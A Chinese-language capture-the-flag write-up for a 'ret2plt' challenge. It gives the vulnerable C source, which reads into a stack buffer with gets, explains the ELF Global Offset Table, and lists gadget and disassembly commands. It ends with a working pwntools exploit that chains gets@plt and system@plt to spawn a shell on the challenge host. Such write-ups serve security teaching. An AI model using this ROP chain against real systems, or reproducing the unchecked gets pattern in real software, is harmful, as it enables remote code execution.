題目原始碼
#include<stdio.h>
#include<stdlib.h>
void init(){
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
setvbuf(stderr,0,2,0);
}
int main(){
init();
system( "echo 'Say hello to stack :D'" );
char buf[0x30];
gets( buf );
return 0;
}
What is GOT(Global Offset Table)?
GOT 是 Linux ELF 執行檔中一個重要的資料結構,主要用來實現動態連結(Dynamic Linking) 當程式呼叫外部函式庫的函式時(例如 printf、malloc),這些函式位於共享函式庫(如 libc.so)中。問題是:
- 共享函式庫載入到記憶體的位址不是固定的(尤其有 ASLR 時)
- 編譯時無法知道 printf 實際會在哪個位址
- 但程式碼需要知道位址才能呼叫函式 GOT 是解決這個問題的中間人:程式碼透過 GOT 來間接取得函式的真實位址。
解題
尋找相關位置
ROPgadget --binary share/ret2plt --only "pop|ret"|grep rdi

objdump -M intel -d share/ret2plt |grep "@plt"

gdb ./share/ret2plt
b main
vmmap
x/90gh 0x60100

構建payload
from pwn import *
context.arch="amd64"
host="chall.nckuctf.org"
port=28208
r=remote(host,port)
pop_rdi=0x400733
plt_get=0x400530
plt_system=0x400520
bss=0x601560
p=flat(
b'a'*0x38,
pop_rdi,bss,
plt_get,
pop_rdi,bss,#get用完之后,rdi值會跑掉
plt_system
)
r.sendlineafter(b':D',p)
r.interactive()
r.close()
取得flag



說些什麼吧!